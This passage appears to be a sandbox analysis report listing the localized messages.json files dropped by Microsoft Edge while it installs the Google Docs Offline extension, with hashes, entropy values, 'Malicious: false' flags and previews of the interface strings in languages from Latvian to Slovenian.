SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
